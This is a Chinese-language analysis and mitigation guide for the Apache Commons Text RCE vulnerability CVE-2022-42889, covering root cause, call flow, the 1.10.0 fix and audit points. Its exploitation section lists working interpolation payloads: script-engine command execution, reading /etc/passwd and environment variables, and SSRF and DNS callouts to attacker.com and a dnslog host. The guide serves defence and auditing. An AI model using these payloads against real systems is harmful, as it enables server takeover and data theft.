浅谈Apache Commons Text RCE(CVE-2022-42889)
字数 1546 2025-08-06 18:07:49
Apache Commons Text RCE漏洞(CVE-2022-42889)深度分析与防御指南
漏洞概述
Apache Commons Text是一款处理字符串和文本块的开源项目。在受影响版本中,由于默认使用的Lookup实例集包含可能导致任意代码执行或与远程服务器信息交换的插值器(Interpolator),攻击者可利用该漏洞进行远程代码执行(RCE),甚至完全控制服务器。
影响版本
- 受影响版本:Apache Commons Text 1.5至1.9
- 安全版本:Apache Commons Text 1.10.0及以上
漏洞原理
核心问题
漏洞根源在于StringSubstitutor类的字符串插值功能,特别是通过createInterpolator()方法创建的实例。这些实例默认包含多种Lookup实现,其中部分具有危险功能:
- script - 使用JVM脚本引擎执行表达式
- dns - 解析DNS记录
- url - 从URL加载值
- file - 读取文件内容
- xml - 解析XML文件
漏洞触发条件
当应用程序使用以下方式处理用户可控的输入时,可能触发漏洞:
StringSubstitutor.createInterpolator().replace(用户输入);
执行流程分析
-
入口点:
StringSubstitutor#replace -
处理流程:
- 调用
StringSubstitutor#substitute - 调用
StringSubstitutor.Result#substitute - 提取
${}中间的内容赋值给varName - 调用
resolveVariable解析变量 - 最终调用特定Lookup实现执行操作
- 调用
-
关键代码片段:
// 提取前缀和内容
int prefixPos = var.indexOf(':');
String prefix = toKey(var.substring(0, prefixPos));
String name = var.substring(prefixPos + 1);
// 获取对应的Lookup实现
StringLookup lookup = this.stringLookupMap.get(prefix);
if (lookup != null) {
value = lookup.lookup(name);
}
漏洞利用方式
1. 远程代码执行(RCE)
通过script插值器执行任意代码:
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
stringSubstitutor.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}");
2. 信息泄露
获取系统环境变量
${env:HOME} // 获取家目录
${sys:java.version} // 获取Java版本
读取Java平台信息
${java:locale} // 默认区域设置
${java:os} // 操作系统信息
${java:vm} // JVM信息
${java:hardware} // 硬件信息
${java:version} // Java版本
${java:runtime} // 运行时信息
3. 文件读取
读取任意文件
${file:utf-8:/etc/passwd}
通过URL协议读取文件
${url:utf-8:file:///etc/passwd}
4. 配置文件读取
读取properties文件
${properties:DocumentPath::Key}
读取资源包
${resourcebundle:application:spring.datasource.druid.stat-view-servlet.login-username}
5. XML解析(XXE)
${xml:file:///path/to/file.xml://xpath}
6. SSRF攻击
${url:utf-8:http://attacker.com}
7. DNS查询
${dns:address|attacker.dnslog.cn}
漏洞修复方案
官方修复
在Apache Commons Text 1.10.0中,StringLookupFactory的createDefaultStringLookups方法移除了危险的Lookup实现:
private static Map<String, StringLookup> createDefaultStringLookups() {
Map<String, StringLookup> lookupMap = new HashMap<>();
// 仅保留安全的Lookup实现
addLookup(DefaultStringLookup.BASE64_DECODER, lookupMap);
addLookup(DefaultStringLookup.BASE64_ENCODER, lookupMap);
addLookup(DefaultStringLookup.CONST, lookupMap);
addLookup(DefaultStringLookup.DATE, lookupMap);
addLookup(DefaultStringLookup.ENVIRONMENT, lookupMap);
// 移除了script、dns、url等危险Lookup
return lookupMap;
}
临时缓解措施
- 升级到安全版本:Apache Commons Text 1.10.0或更高版本
- 自定义StringLookup:如果无法立即升级,可以创建自定义的StringLookup实例,仅包含必要的Lookup实现
- 输入过滤:严格过滤用户输入,特别是包含
${的字符串 - 安全配置:禁用危险的Lookup实现
Map<String, StringLookup> lookups = new HashMap<>();
// 仅添加安全的Lookup
lookups.put("env", StringLookupFactory.INSTANCE.environmentVariableStringLookup());
lookups.put("sys", StringLookupFactory.INSTANCE.systemPropertyStringLookup());
StringSubstitutor substitutor = new StringSubstitutor(
StringLookupFactory.INSTANCE.interpolatorStringLookup(lookups, null, false)
);
代码审计要点
- 检查项目中是否使用了Apache Commons Text 1.5-1.9版本
- 查找
StringSubstitutor.createInterpolator()的使用 - 检查是否有用户输入直接传递给
replace()方法 - 检查是否手动添加了危险的Lookup实现
- 特别注意以下危险方法调用:
scriptStringLookup()urlStringLookup()dnsStringLookup()fileStringLookup()xmlStringLookup()
总结
CVE-2022-42889是一个严重的远程代码执行漏洞,影响Apache Commons Text的多个版本。攻击者可以通过精心构造的字符串实现RCE、SSRF、文件读取等多种攻击。开发者应立即升级到安全版本,或实施适当的缓解措施。在代码审计过程中,应特别关注字符串插值功能的使用情况,确保不会将不可信输入传递给危险的Lookup实现。